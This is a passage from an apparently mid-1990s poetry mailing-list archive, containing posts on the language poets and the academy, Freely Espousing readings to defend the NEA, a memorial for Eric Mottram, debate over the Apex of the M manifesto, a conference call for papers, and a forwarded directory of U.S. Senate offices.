that conjure up my former institutional self, & set my teeth on edge as
to what it is makes a writer tick... i'm still not sure i know...

3. & fact is, over the past decade, the academic job scene has become, as we
all
know, miserable... & the politics of the past decade, well... i mean, i came out
of the
early 70s... as i progressed more & more in my saying activity as a poet, i
became
more & more aware of the language poets, thanks largely to the liberal learning
atmosphere at albany... in any case, the work itself, the poetry, struck me as

incredibly difficult, strikingly different from what i had envisioned poetry to
be...
i never quite came to aesthetic terms with works such as, say, ron
silliman's _lit_---& i take this to be a mark of my own poetic limitations,
tastes, etc. (but i'll come back to this question of how to evaluate aesthetic
practice)...
at the same time, i found myself engrossed in the sorts of debates over poetic
practice that (had & have) emerged from this collective enterprise, & although

i found the work, contextually speaking, a reaction in some ways to the
political

realities of the day (this is not a political assertion per se, but
an aesthetic

assertion---& methinks one would be well-advised not to read
political ethos
too closely into aesthetic articulations), i nevertheless recognized
that
these folks were *serious* about what they were doing... & at the
same time,
it was clear to me that they were constructively self-conscious as to
their respective institutional histories... they were, in all, i felt
(& still
feel) against the grain...

4. but the scene, the academic scene (as i've said) was getting
tighter &
tighter
job-wise... & in fact that the language poets were, relatively
speaking, fully
theorized (if for some, theoretically overdetermined) played well in
light of

the american academic tendency toward theory... at least, this is how

i read the situation, in broad strokes... hence folks like charles bernstein

[sorry for picking on you, charles!] thankfully found their way into 'the
academy'... &, i might add, this development was long overdue...

5. but my 'initiation,' if you will, into the community of language
poets---&
i'll
refrain from speaking in terms of 'generation' & the like, & by
'initiation' i
mean simply acquaintance/friendship & the like---didn't really
come until march 1993, at the new coast conference... my colleague &
friend here

andrew levy had been invited to speak, so i decided (again!) to
attend to
promote
my own little venue.... there i stood during the day, my kinko-green
sheets in
hand
(as some of you may recall), trying to get participants interested in
my

electronic
writing collective, *nous refuse* (juliana spahr & i had discussed
the
electronic
stuff electronically prior to the conference)... i found the general
tenor of
the conference, at the time, extremely exclusive at times... that is,
i felt my

place in the proceedings marginal at best, & i found the overarching discourse,

what with presumptions as to a 'new coast," downright presumptuous...

in retrospect, this was a somewhat hasty judgement, to the extent that many

folks at that conference knew each other, had shared histories,
whereas i had no
reason to expect these folks---strangers initially---to understand
either me,
say,
or my electronic orientation ipso facto... but there was, i'll
maintain, an
(unintended)
air at the conference, to one such as me, of self-importance---not
perhaps

entirely without warrant, but perhaps a bit off-putting initially to other sorts of
aesthetic orientations... i mean, one can't be all things to all people, but then, i
thought, just who were these people? (many of whom were a good deal

younger than me, albeit no less equipped to discuss their craft)...

6. before i entirely alienate many of you out t/here, i wish to state as

clearly as possible that the thing that's really struck me since
march '93
has been the *generosity* of the folks i met at buffalo, thereby
invalidating
my hasty evaluation as to 'exclusivity' & the like, at least in
personal terms
... near everybody i met there, & have since met, who are linked in
some
way with that group (if i may) has been extremely interested in
discussing &
promoting poetic practice---alternative, mainstream, what have you...
sometimes

the discussions are heated, yes---but this need not be a sign of agon, simply of

commitment... i've found the group in general to be among the most tolerant & supportive around when it comes to appreciating aesthetic diversity, whatever one's "taste" (& no, i don't wish to neutralize this latter category,

simply to bracket it for a moment)... in fact it might be argued that this (now somewhat academically centered) group is far more tolerant than most academic press poetry groupings... i'll leave this latter speculation to

this list's collective imagination...

7. but ysee, now that i've discussed Personalities-Writ-Large, as it
were
(hopefully in the process avoiding any unnecessary vitriole from
whatever quarter, incl. mine) i need to come back to this issue of
aesthetic practice---not 'vs. political practice,' not even 'as
informed
by political practice'---i wanna talk aethetics as such for a moment,
and
bracket
for a change---not the social, but the political per se... i can't
hope to lay
out
parameters here---this is not what i'm about, in any case... & i'm
with tom
as to the necessity of practicing what (& mebbe AS) you preach... but
at the

meta-level, anyway: what i see the need for at the moment is less manifesto

(& this reverses my sentiments of a coupla years back) & more a
discussion, in
critical terms, of how to situate the artist/poet amid this
increasingly
academic environs... what is the purpose of poetry in shaping even,
for example,
the
poetic part of one's world?... i'm a persistent promoter, on the
one hand,
of things electronic, & i might even be heard to drone on
occasionally as to
the more existential or pleasure-based or non-utilitarian value of
the
various pursuits in which i indulge myself... on the other hand, it's

lost
on me not for a nanosecond that this text, & those prompting it, come

to you-us courtesy of our postsecondary institutions (similar such
entities
being
where *most* of you are no doubt currently locating your corporeal &
ethereal

selves)... along these lines, i'm reminded of charles' superb piece
in alh last
year,
"what's art got to do with it?" etc... we need *more* such work,
motivated by
such concerns...

8. perhaps we need more poetry too, a new poetry, as tom indicates, &

despite whatever modernist misgivings i---we each---may have...

9. but perhaps, as well, situating the artist/poet as a member of a specific

ecological or ontological or intellectual sect is somewhat less important than
shaping new discourses---poetic-critical hybrids, creoles, what have you--- the
point being that *all* forms of code-switching & mutating should be

explored... & explored with at least some consideration given as to
why one
would wish to so explore as well as where one is, institutionally
speaking,
while
exploring (& as michael joyce from the hypertext world would be quick
to
point out, *constructing*)... what is the value of the alphabet in a
world such
as ours, such as ours is becoming?... & what do we do (if this is not
too
naive a question this late in the 20th. century) with the more oral
basis
for poetry, the idea of poetry 'readings'?... perhaps we need a
better
collective
sense as to the history of readings of this latter variety, as
opposed to the

currently more popular tendency to read critical reception as a
writing

enterprise (?)... is this a political issue, strictly speaking (& i have the
debates over literacy fluttering around in my head as i write this, as well as
talk of
discursive hegemonies of one sort or another), or is recourse to
politics here merely one way of avoiding sustained discussion of the value
of a specific aesthetic dimension? (& again, not that i wish to avoid either
ideology
or politics per se)...

10. & as to politics per se, & given the very real & recent concern evident in
these regions as to the status of aesthetic practice in general in american
society:
perhaps we need to work harder to convince folks outside of our more
individualistic aesthetic pursuits that, whatever this our contested site, it's
not a luxury...

joe amato
[redacted]
(line breaks courtesy of elm)

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79. Mark Wallace
Re: Freely Espousing Update
Thu 19 Jan 1995

In regards to the "Freeley Espousing" event in Washington, D.C., my e-mail was incorrectly listed. I can be reached at [redacted]

Thanks

mark wallace

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80. udle114
EM
Thu 19 Jan 1995

To all the friends of Eric Mottram:

This is just to keep you up to date with whatever is happening in London. Eric's family placed notices in the national papers that there will be a smallprivate cremation ceremony on the 25th of this month. They regret that it is not possible to have a ceremony open to all of Eric's friends but there will be a celebration of Eric's life and work in a few weeks time. To this all are welcome. The family have also asked that no flowers be sent - they hav asked instead for contributions to the Eric Mottram Trust Fund which they are planning to establish. The address for any donnations is The Eric Mottram Trust Fund 1 Sandford Close 72 The Avenue Beckenham Kent BR3 2ES United Kingdom

I am Shamoon Zamir at the Department of English at King's College, London. If you have any question or need further information please do not hesitate to contact me on e-mail or by phone or fax.

Shamoon Zamir
Department of English
King's College
Strand
London WC2R 2LS
United Kingdom

Phone: Country code + 71 [redacted]
Fax: country code + 71 [redacted]
e-mail: [redacted]

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81. Christopher Reiner
Freely Espousing
Thu 19 Jan 1995

Have you heard from anyone in L.A. about a *Freely Espousing* event here? If not, I don't know if I could put one together single-handedly...but it might be worth a shot. This is not really a big town for poetry, as you might expect. But there are reading spaces, and there are poets (tho mostly the type that relate their bouts with bad drugs or bad dates). If someone else is doing an event, I'd be glad to help. If not, I'll do what I can.

--Chris Reiner

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82. James Sherry

Re: apex of the m...

Thu 19 Jan 1995

The Apex if it's M exhibits the superficies of the dialectic and boy is the thesis the. But the seeds of the M in the L are multiple while the interpretation of the seeds by the M is faulty but understandable. The quotation which I have overused from Wittgenstein helps my explanation. "If we speak of a think, but there is no object that we can point to, there, we may say, is the spirit."

Those objectless things in the L include, but are not limited to, vaguely:

-the sign: the signified is not the thing, but the idea of the thing, -the body which is a constantly referenced thing but sex in most of the L is skirted to a spirit of the body by both the French and the L, and -Language itself which is constantly reified by the L writers;

and also create the hook by which the M writers can attach to L and attack. That these things are misinterpreted by the M writers need not be disputed to thwart the attacks by the L writers. They are the places where we have left openings for the next generation of artists. That the M takes unfair advantage of these ideas doesn't matter either, misinterpretation has already been valorized by the L.

The attacks by the M writers are particularly galling, but again represent the same tactic used by the L writers on the previous generation of NY School and Beat writing, although the M writers are less substantive in their attacks on the L than the L was on NY, but isn't that what the M is saying, so at the very least they are consistent.

The sad parts of the issue for me are the lack of recognition of these facts by the L and the unconsciousness of the M writers about the openings which they have left to be eviscerated by not only the next generation of writers whom we can conveniently dub... the Nth. They will rue the day they used the word spirit in their fashion when it is used to attack their right to write as they write. For that reason, the most egregious and annoying part of the M is how they have forgotten the lessons of the enlightenment exposing the weakness of spiritual allegiances and its institutions. But I guess we have to "pay to keep from going through all this twice."

James

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83. Chris Stroffolino
Re: Freely Espousing Update
Thu 19 Jan 1995

Dear jennifer & Steve-- What about Philadelphia? When I lived there (1986-1992) we had gotten a pretty interesting scene together, most of whom seem to be gone now or at least not on line. There's Perelman who is on line, but he's probably too busy with school. Ditto no doubt for DuPlessis. maybe Gil Ott, is he still sick. Or Julia Blumenreich. I could senf you there mail (not email) addresses. Valerie Fox of the magazine 6ix is now in Japan. There's Mossin and the TO crowd but they're more aesthetes than politicos it seems. My friend Dave baratier just moved to phila. and edits pavement saw magazine there--If anybody, I would suggest him. Of course, just over the river in CAMDEN is Lamont Steptoe, black vietnam vet poet who used to run readings at the Painted Bride but now works at the Walt Whitman Ctr. and he would probably be a very good connection for you in terms of the NEA. I have a phone # again but no email. Does anybody else know anything about Phila.???? There's Eli Goldblatt. (Charles Alexander probably has his address. I lost it) at (is it) Villanova? For PENNSYLVANIA may be a crucial state as well, Jen & Steve, especially with the new conservative senator replacing Woffod (though I'm not mourning the loss of its conservative democrat governor CASEY to a conservative repub. etc.). Wofford not Woffod. Anyway, just to send this along in lieu of being able (i think) to do anything here in (sm)allbany. Chris Stroff.

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84. Alan Berheimer
NEA Enemy Action
Thu 19 Jan 1995

In defending and rallying round the NEA it could be useful to distinguish the underlying Republican impulse from some of the straw men that are trotted out for the bonfire. I heard recently of a meeting involving Gingrich financial backers in which it was clear their objections were not to Mapplethorpe and other well-known NEA headline "scandals" (much as these are useful ammunition in appealing to fellow conservatives). What really sticks in their craw is their belief the NEA is promoting multiculturalism at the expense of "American" culture. Implicit and explicit is their view that the latter is qualitatively superior. (I have to resort to reference like "the latter" since "what means American if not multicultural?" seems so obvious to me, but you can let your imagination run wild with what it means to an angry white male.)

What can we do with this information? Use it to build a broader base of support for the NEA by appealing to multicultural constituencies, undercutting elitism-based arguments and drawing the debate away from kinkiness that so frightens moderate politicians.

Alan Bernheimer
[redacted]

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85. Tom Mandel
Re: Apex of the M
Thu 19 Jan 1995

---

poet in mid-career, defined: a poet in the middle of a long publishing life. As far as delicious: sure, why not? This is a controversial term? gimme a break

tom

↑ Index

86. Tom Mandel
Re: apex of the m...
Thu 19 Jan 1995

IN James Sherry's post he rightly sees the apexers critique cum rejection of the Language poets in a continuum with the LP's treatment of the generation preceding. Surely, it is true that this need to get this seemingly pervasive presence out of the way, so to clear a space to write, afflicts or at least affects any generation. I don't like it, but it makes sense to me; I can even see it as a strength of character.

There remains the question of what is done in this cleared space, and by whom.

I'm not sure I understand the first 1/3d of James' post, unless he is beginning to list the features of Language Poetry that he sees as taken over by the Apex of the M group. If so, I'm interested to read a more lengthy treatment of that. Of these non-thing objects.

The influence on some Language poets of the NY school is also undeniable, esp. on the early work of Charles Bernstein, Kit Robinson, Steve Benson, Tom Mandel, and others.

The intellectual rigor of Language theory is also as open to critique as the intro to the Apex volume which lurks behind this discourse (smugly, non-dislodged, I think). You have only to read the banner and statement of intentions in the

early Language magazines (w/ =, etc.) to find yourself in an ill-stirred pudding of the Whorf-Sapir thesis, an utterly misconceived version of the speech/language distinction in (oh what's his name; the swiss linguist's lectures - I really am losing my grip if I can't remember his name... and I can't!), and other sinking suspensions. But, this in no way excuses the Apex intro, does it?

All the same, I'm not sure there're any definite _lessons of the enlightenment_ which must be held onto, but James will have expected my disagreement in that matter. I am an utterly secular person (that is, I cd _describe myself_ as _an utterly spiritual person_), and in some sense I like the world I live in (less and less). But I'm afraid I must say that the secularizing of the world over the last 500 years has not pluralized the world, not at all. Just different and even more baleful idols being worshipped. And it is a pluralizing, call it a creolizing if you want, of our world is all can save it. Purity cults, even my favorite one the Pharisees, have demonstrated their horrendous effects over and over, and theese are magnified and multiplied in a world of weapons and media with such powers to make a hell of difference.

Finally, if, as in the Apex intro I find so appalling, the poet is to be an iconoclast, she will have to knock over an idol and smash it. Another poet is a poor choice to begin.

tom mandel

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87. George Bowering

Re: call for work for interface 10 (fwd)

Thu 19 Jan 1995

I am curious about that phoenix in Tanya Manning's message.

What does the phoenix mean by the sentence: "I am woman!"?
I have heard it before, in some pop song, I think, and elsewhere, but
I have a real curiosity here.
I can understand, say, "I am a woman."
Or "I am the woman."
Or "We are women."
Or "I am French."

?

↑ Index

88. udle114
Eric Mottram
Fri 20 Jan 1995

Update on the planned celebration for Eric Mottram:

The celebration will be held on March 3rd (Friday) between 6 and 8pm in the Great Hall at King's College in London.

If anyone wants to send messages, poems etc. (on tape, in print etc) please send be present at the event.

Shamoon Zamir
Department of English
King's College
Strand
London WC2R 2LS
United Kingdom

Phone: Country code + 71 [redacted]
Fax: Country code + 71 [redacted]
E-mail: [redacted]

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89. krickjh
GovAccess.091: Congressional contact-vectors (pass it along
Fri 20 Jan 1995

More congressional stuff via Jim Warren's GovAccess

If I'm overdoing the forwards of this material, someone please let me know.

John Krick

_____ Forward Header
_____ Subject: GovAccess.091: Congressional contact-vectors (pass it along Author: Jim Warren <[redacted]> at Internet_Mail Date: 01/20/95 09:02 AM

From [redacted]
(InterLock SMTP Gateway 3.0 for <[redacted]>);
Thu, 19 Jan 1995 23:23:58 -0500
Th
u, 19 Jan 1995 16:07:47 -0800
Date: Thu, 19 Jan 1995 16:07:47 -0800
From: Jim Warren <[redacted]>

To: [redacted]
Subject: GovAccess.091: Congressional contact-vectors (pass it along!)

Congressional Phones, Faxes and - Sometimes - Email Addresses, as of 1/12/95

The following *only* lists U.S. Senate members - all of 'em. The list for the House of Representatives is so large that I'll leave it for those who desire it to fetch from the several sites that have been cited in this and recent GovExcesses. However --

The *next* GovAccess - much shorter than this one - will give the email-addrs of those relatively-few Senate *and* House Congress-creatures who have eaddr and reportedly accept public email ... at least from their state/district constituents.

--jim

<author!> <author!> <applause ...>

Thu, 19 Jan 1995 13:54:31 -0500 (EST)
>From Grace A York <[redacted]>

You're welcome to share the [following] information. I can't claim perfection; typing all those names and phone numbers is tedious. Am more than willing to make corrections, however.

The latest version of the House and Senate directories, Congressional e-mail addresses, and a fledgling list of committee assignments are available on the University of Michigan Library Gopher. LC Marvel also points to them under its U.S.Congress section.

Grace York, Coordinator
Documents Center
The University of Michigan Library
Ann Arbor, Michigan 48109-1205

Phone: [redacted]
Fax: [redacted]
E-Mail: [redacted]

[illustrating the list's geneology and rapid infection-rate]
Wed, 18 Jan 95 15:33:16 EST
>From [redacted]

Thu, 12 Jan 1995 11:57:32 -0500 (EST)
>From Grace A York <[redacted]>
To: [redacted]

1-12-95

UNITED STATES CONGRESS

SENATE DIRECTORY

104th Congress
1995-96

CapitolÊpitol Building
DSOB=Dirksen Senate Office Building
HSOB=Hart Senate Office Building
RSOB=Russell Senate Office Building

Washington, D.C. 20510

E-Mail correspondence may be limited to constituents. Include your mailing address with your e-mail message if a reply is desired.

P ST Name and Address Phone & E-Mail Fax = ==
========== ==========
========== R AK Murkowski, Frank H. [redacted]
[redacted] 706 HSOB

R AK Stevens, Ted [redacted]
522 HSOB

D AL Heflin, Howell T. [redacted] [redacted] 728 HSOB

R AL Shelby, Richard C. [redacted] [redacted]
509 HSOB
(Switched to the Republican Party on 11-9-94)

D AR Bumpers, Dale [redacted] [redacted] 229 DSOB

D AR Pryor, David [redacted] na
267 RSOB

R AZ Kyl, Jon [redacted] [redacted] 363 RSOB

R AZ McCain, John [redacted] na
111 RSOB

D CA Boxer, Barbara [redacted] na
112 HSOB

D CA Feinstein, Dianne [redacted] na
331 HSOB

D CO Campbell, Ben N. [redacted] [redacted] 380 RSOB

R CO Brown, Henry [redacted] na
716 HSOB

D CT Dodd, Christopher J. [redacted] na
444 RSOB

D CT Lieberman, Joseph I. [redacted]
316 HSOB

D DE Biden Jr., Joseph R. [redacted] na
221 RSOB

R DE Roth Jr. William V. [redacted] [redacted] 104 HSOB

D FL Graham, Robert [redacted] na
524 HSOB

R FL Mack, Connie [redacted] [redacted] 517 HSOB

D GA Nunn, Samuel [redacted] [redacted] 303 DSOB

R GA Coverdell, Paul [redacted] na
200 RSOB

D HI Akaka, Daniel K. [redacted] [redacted] 720 HSOB

D HI Inouye, Daniel K. [redacted] [redacted] 722 HSOB

D IA Harkin, Thomas [redacted] [redacted] 531 HSOB

R IA Grassley, Charles E. [redacted] [redacted] 135 HSOB

R ID Craig, Larry E. [redacted] [redacted] 313 HSOB
[redacted]

R ID Kempthorne, Dirk [redacted] [redacted]
367 DSOB [redacted].
senate.gov

D IL Moseley-Braun, Carol [redacted] na
320 HSOB

D IL Simon, Paul [redacted] [redacted] 462 DSOB
[redacted]

R IN Coats, Daniel R. [redacted] [redacted] 404 RSOB

R IN Lugar, Richard G. [redacted] na
306 HSOB

R KS Dole, Robert [redacted] [redacted] 141 HSOB

R KS Kassebaum, Nancy L. [redacted] [redacted] 302 RSOB

D KY Ford, Wendell H. [redacted] na
173A RSOB

R KY McConnell, Mitch [redacted] [redacted] 120 RSOB

D La Breaux, John B. [redacted] na
516 HSOB

D LA Johnston, J. Bennett [redacted] na
136 HSOB

D MA Kennedy, Edward M. [redacted]
315 RSOB [redacted]
(www address: http://www.ai.mit.edu/projects/iiip/
Kennedy/homepage.html)

D MA Kerry, John F. [redacted] 421 RSOB

D MD Mikulski, Barbara A. [redacted] 709 HSOB

D MD Sarbanes, Paul S. [redacted] 309 HSOB

R ME Snowe, Olympia [redacted]
176 RSOB

R ME Cohen, William S. [redacted] 322 HSOB

D MI Levin, Carl [redacted] na
459 RSOB

R MI Abraham, Spencer [redacted] B40 DSOB

D MN Wellstone, Paul [redacted] 717 HSOB

R MN Grams, Rod [redacted]

R MO Bond, Christopher S. [redacted] 293 RSOB

R MO Ashcroft, John [redacted]

R MS Cochran, Thad [redacted] na
326 RSOB

R MS Lott, Trent [redacted] 487 RSOB

D MT Baucus, Max [redacted] na
511 HSOB

R MT Burns, Conrad R. [redacted]
183 DSOB
v. Jack Mudd

R NC Faircloth, D. M. [redacted]
702 HSOB

R NC Helms, Jesse [redacted] na
403 DSOB

D ND Conrad, Kent [redacted] na
724 HSOB

D ND Dorgan, Byron L. [redacted] 713 HSOB

D NE Exon, J. J. [redacted] na
528 HSOB

D NE Kerrey, Bob [redacted]
303 HSOB

R NH Gregg, Judd [redacted] 393 RSOB

R NH Smith, Robert [redacted] 332 DSOB

D NJ Bradley, William [redacted] 731 HSOB

D NJ Lautenberg, Frank R. [redacted] 506 HSOB

D NM Bingaman, Jeff [redacted] na
1110 HSOB [redacted].
senate.gov

R NM Domenici, Pete V. [redacted] 427 DSOB

D NV Bryan, Richard H. [redacted] na
364 RSOB

D NV Reid, Harry [redacted] 324 HSOB

D NY Moynihan, Daniel P. [redacted] 464 RSOB

R NY D'Amato, Alfonse M. [redacted] 520 HSOB

D OH Glenn, John [redacted] na
503 HSOB

R OH Dewine, Michael [redacted]

R OK Inhofe, James [redacted]
453 RSOB

R OK Nickles, Donald [redacted] 133 HSOB

R OR Hatfield, Mark O. [redacted] na
711 HSOB

R OR Packwood, Robert [redacted] na
259 RSOB

R PA Santorum, Rick [redacted]

R PA Specter, Arlen [redacted] na
530 HSOB

D RI Pell, Claiborne [redacted] 335 RSOB

R RI Chafee, John H. [redacted] na
567 DSOB

D SC Hollings, Ernest F. [redacted] na
125 RSOB

R SC Thurmond, Strom [redacted] 217 RSOB

D SD Daschle, Thomas A. [redacted] 317 HSOB

R SD Pressler, Larry [redacted] 283 RSOB

R TN Thompson, Fred [redacted]
506 DSOB

R TN Frist, Bill [redacted]

R TX Hutchison, Kay Bailey [redacted] 703 HSOB
[redacted]

R TX Gramm, Phil [redacted] na
370 RSOB

R UT Bennett, Robert [redacted] na
241 DSOB

R UT Hatch, Orrin G. [redacted] 135 RSOB

D VA Robb, Charles S. [redacted] 493 RSOB
[redacted]

R VA Warner, John W. [redacted] 225 RSOB

D VT Leahy, Patrick J. [redacted] na
433 RSOB [redacted]

R VT Jeffords, James M. [redacted] na
513 HSOB [redacted]

D WA Murray, Patty [redacted] 302 HSOB

R WA Gorton, Slade [redacted] 730 HSOB

D WI Feingold, Russell [redacted] na
502 HSOB

D WI Kohl, Herbert H. [redacted] na
330 HSOB

D WV Byrd, Robert C. [redacted] 311 HSOB

D WV Rockefeller, John D. [redacted] 109 HSOB

R WY Simpson, Alan K. [redacted] 261 DSOB

R WY Thomas, Craig [redacted]

Corrections to [redacted]

&&&&&&&&&&&&&&&&&&&&

We the People of the United States, in order to form a more perfect Union, establish Justice, insure Domestic Tranquillity, provide for the Common Defense, promote the General Welfare, and secure the Blessings of Liberty to ourselves and our Posterity, do ordain and establish this Constitution for the United States of America. [via sig-file of Brad Schrick ([redacted])]

Mo' as it Is.
--jim

GovAccess is a list distributing irregular info & advocacy, maintained by Jim Warren, columnist, MicroTimes, Government Technology, BoardWatch, etc. 345 Swett Rd., Woodside CA 94062; voice/[redacted]; fax/<# upon request> [redacted] (well.com = well.sf.ca.us; also at [redacted])

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↑ Index

90. James Sherry
Re: NEA Enemy Action
Fri 20 Jan 1995

I too would support Alan Bernheimer's approach to creating extended constituencies both for supporting NEA and for breaking down the petty fiefdoms which have grown up in the arts, especially non-profit arts, over the past decades. The appeal might also be to attack elitism in the for profit arts which will both confuse the issue and focus the point of the artists for social production as opposed to artists for commodity production, a fight which we have been waging for decades also.

But the real issues are I think not those which Alan raises, although they are the public ones. The real issues are twofold and come from different consituencies.

1. When I worked for Hearst Corp. a few years ago, their beef was that the government was funding small presses to be able to compete against them and that was unfair to the for profit presses. Why should Sun & Moon and Greywolf, etc. be allowed to compete unfairly against William Morrow and Avon? (Obviously they are not the same market, but that argument does not convince the "shelf-space" conscious marketeers who are threatened by any kind of alternative as competition.) I think the same argument is at the root of the corporate attacks on NEA and holds true for public broadcasting as well.

2. The other constituency that is attacking the NEA is the right. Originally their attention was galvanized by the body oriented art that received so much publicity, but their real concern is that NEA is not funding their art. They are not represented. I think if a painter of Elvis on Velvet from North Carolina were funded and publicized that a lot of this constituency's opposition will disappear.

I don't make these points to discourage coalition building that Alan suggests, I simply think the real (indefensible) anxieties of the attackers needs to be addressed in addition to coalition building. Perhaps some of the more astute political organizers can suggest the route to coalitions that can be effective.

Finally, I think the big entertainment money support of NEA will save it or kill it. Pell's argument that it's either NEA or Social Security tells a lot about what even the more liberal in Congress really think and the falsity of their polarizing. Alas.

↑ Index

91. James Sherry

Re: call for work for interface 10 (fwd)

Fri 20 Jan 1995

The phoenix of course replies at the end of any discourse whether "am woman" or "am French", "je suis fini". James "born again" Sherry

↑ Index

92. Marjorie Perloff

Re: apex of the m...

Fri 20 Jan 1995

It's true, of course, as Tom Mandel says, that every generation needs to clear a space for itself and that the Language poets, as James Sherry points out, did the same thing to the NY poets of the previous generation. And Frank O'Hara and company did it to T. S. Eliot (God save us from fisher kings!"). Still, there's an air of implosion about this latest "manifesto." For one thing, the language poets were attacking an Establishment, but it's hardly the case that today the L poets ARE the establishment. Most people around the country still consider them upstarts if they've so much as heard of them. Let's get real. Secondly, if you want to launch a line of attack, you must have an articulated position. "Violence and precision" as Marinetti put it. It needn't be totally coherent--and I agree that the Language manifestos of the 70s were hardly argued through--but you have to stand for something that's then visible in the poetry itself. I just don't see this "change" in Apex of the M. The poets printed therein take for granted that poetry is written in free verse (or prose) for starters. It's a given. The rejection of a "high style" is another given. And so on. That leaves the

manifesto with saying, more or less, we're more against capitalism than the Language poets were and, at that level, the rhetoric fizzes out because the L poets in question had/have a particular Marxist position and carried it through. Ron Silliman, after all, was editor of the New Socialist Review. So if the editors of Apex don't share that position, but feel Capital is the source of all evil, I'd like to know what they propose to do to fight capital.

Marjorie Perloff

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93. Jonathan Monroe
Cornell Poetry Conference
Fri 20 Jan 1995

CALL FOR PAPERS * CALL FOR PAPERS * CALL FOR PAPERS

PAST, PRESENT, FUTURE TENSE:
A CONFERENCE ON
CONTEMPORARY POETRY

Cornell University
March 31st - April 1st, 1995

Speakers include:

Charles Altieri
Rachel Blau DuPlessis
Bei Dao
Li-Young Lee
Marjorie Perloff
Evangelina Vigil-Pinon

Proposals are invited for a conference on the consequences for poetry of the global redrawing of cultural, political, and economic boundaries underway since the late 1980's and the implications of the increasingly multicultural, multiethnic, multilingual environment within the United States for poetry's inheritance from the past and its legacies for the 1990's and the new millenium. Possible topics include, but are not limited to:

dominant modes and alternative practices; anthologies, canon formation, and the distribution and reception of poetry; reading habits and writing communities; poetry's potential and actual contributions to the idea of a "culture-at-large"; poetry and gender; multiculturalism and the poetics of voice; lyric and narrative; poetry and interdisciplinarity; modernism, postmodernism, and contemporary poetry; poetry after the Cold War; language poetry; expansive/new formalist/new narrative poetry; poetry, technology, and mass

media; creative writing and critical theory; poetry and performance; how poems matter, what poems know; bodies in/of poetry; poetries of the Americas; U. S. poetry in international context.

Please send 500-word abstracts (for twenty-minute papers), suggestions for additional panels, or inquiries by February 10, 1995 to:

Jonathan Monroe
Department of Comparative Literature
Goldwin Smith Hall
Cornell University
Ithaca, NY 14853-3201
email: [redacted]

↑ Index

94. Ted Pelton

More Espousing

Fri 20 Jan 1995

To those of you doing freely espousing gigs around the country:

My name is Ted Pelton and I was an NEA recipient in fiction this past year. I was in touch this morning with Alexander Ooms at the NEA and he faxed me a list of some 250 well-known recipients of fellowships. If you want to contact him directly, his number is [redacted]. Unfortunately the NEA doesn't have email (they are so wasteful with their current budget, I guess). He's a friendly sort who I don't think would mind giving a 15 minute rap about where they stand right now or faxing you info like he did me. He says the current feeling is the fight could go either way, with a lot depending on how the hearings went yesterday and today with the Corporation for Public Broadcasting (no word yet -- he's going to keep me posted). But, if not the full list, let me list some names which may be of interest to poetics subscribers from the NEA grantee names he sent me:

Walter Abish, Rodolfo Anaya, Bruce Andrews, Paul Auster, Amiri Baraka, Jonathan Baumbach, Charles Bernstein, Ted Berrigan, John Berryman, Mei Mei Berssenbrugge, Paul Bowles, T. Corahessan Boyle, David Bromige, Rosellen Brown, Charles Bukowski, Ana Castillo, Lorna Cervantes, Sandra Cisneros, Lucille Clifton, Andrei Codrescu, Clark Coolidge, Robert Coover, Robert Creeley, Diane DiPrima, Stuart Dybek, Louise Erdrich, Clayton Eshleman, William Gaddis, Dagoberto Gilb, Allen Ginsberg, Nikki Giovanni, Spalding Gray, Marilyn Hacker, Joy Harjo, Michael Harper, Lyn Hejinian, Linda Hogan, Fanny Howe, Charles Johnson, Janet Kauffman, Jamaica Kincaid, Maxine Hong Kingston, Galway Kinnell, Denise Levertov, Jackson MacLow, Carole Maso, Harry Mathews, Bharati Mukherjee, Fea Myenne Ng, Alice Notley, Peter

Orlovsky, Joel Oppenheimer, Maureen Owen, Ron Padgett, Grace Paley, Robert Pinsky, Francine Prose, Carl Rakosi, Ishmael Reed, Donald Revell, Kenneth Rexroth, Alberto Rios, Kit Robinson, Leslie Scalapino, Ntozake Shange, Leslie Marmon Silko, Ron Silliman, Charles Simic, Jane Smiley, Ted Solotaroff, Gilbert Sorrentino, Gary Soto, Ronald Sukenick, James Tate, Paul Violi, Anne Waldman, Rosmarie Waldrop, Alice Walker, David Foster Wallace, Lewis Warsh, Bruce Weigl, Hannah Weiner, Marianne Wiggins.

This is meant as a list to help people, but let me apologize for any exclusions (good NEA-winning writers left off -- I'm sorry). The NEA press release highlights the most visible authors; Ooms then threw in some more experimental writers he knew off the top of his head. Then I selected names I knew from this hodgepodge of names. And, to top it off, I'm a fiction writer; names of other fiction writers are more familiar to me than poets.

Nonetheless, it's an impressive list. Many are older names, reminding us that the NEA came into existence in the 60s, but also that they gave out a lot more awards then, and the amount actually could buy you a year to write. Fewer awards at a sum that hasn't been adjusted for inflation -- this makes me think that after we win this battle (I think we will), we should keep the pressure on to fund the arts at a rate more consistent with what's spent elsewhere. The current NEA budget is 64 cents per U.S. citizen. Canada and france each spend 32 dollars per, and Germany 27 dollars. The NEA itself makes a good case for more money, but there's no little grass roots support. Quoting from their press release: "Every dollar awarded by the NEA attracts $11 from state and local arts agencies, corporations, foundations, businesses and other private entities. The not-for-profit arts create $37 billion in economic activity and suppost 1.3 million jobs. They also return $3.4 billion to the Federal Treasury through income taxes, 20 times the budget of the NEA."

While I'm uncomfortable with this kind of language (support arts because it's profitable), I think it can be turned to our advantage more than it is currently. In other words, if this is the language that's being spoken, and it shows us off well, we might as well learn to manipulate said language to our own benefit. Will this deprive us of counter-languages? In the short-run, perhaps; but in the long run it could turn to our benefit. How do you feel about being a state-supported artist? Well, that's a question we have to answer each for ourselves. But if we want the endowment, we should also want to use the best terms to make it strong within the framework that's most successful.

Sorry for the digression. I'd like to thank Steve Evans and Jennifer Moxley for getting this ball rolling. I live in a small city, Sheboygan, Wisconsin, and was lamenting not being able to get something like this together here. But then word came in about the Milwaukee gathering. They're only an hour away, but I

found out about it on-line. This was an insight into the new technological geography for me. I like it.

Ted Pelton

↑ Index

95. Stephen Ratcliffe

???

Fri 20 Jan 1995

I come back from long winter break, spent mostly travel to Mexico, Calif. mountains & Hawaii, to find some 370 pieces of mail from all of you -- so my work's cut out. Can I catch up??? Ratcliffe

↑ Index

96. Jonathan Brannen

Re: Freely Espousing Update

Fri 20 Jan 1995

Does anyone know if plans are being made for Minneapolis/St. Paul participation in Freely Espousing? If not, there should be since the red flag the Newt most likes to wave is a misrepresentation of an event sponsored by the Walker Arts Center in the Twin Cities.

If anybody knows of existing plans or is interested in bringing Minneapolis/St. Paul into the loop, please contact me.

Jonathan Brannen

↑ Index

97. Evans/Moxley

Espousing Update 1/20

Fri 20 Jan 1995

We're working on a more exhaustive update
to be posted tomorrow, but Ted Pelton's
recent post seques nicely with the fact
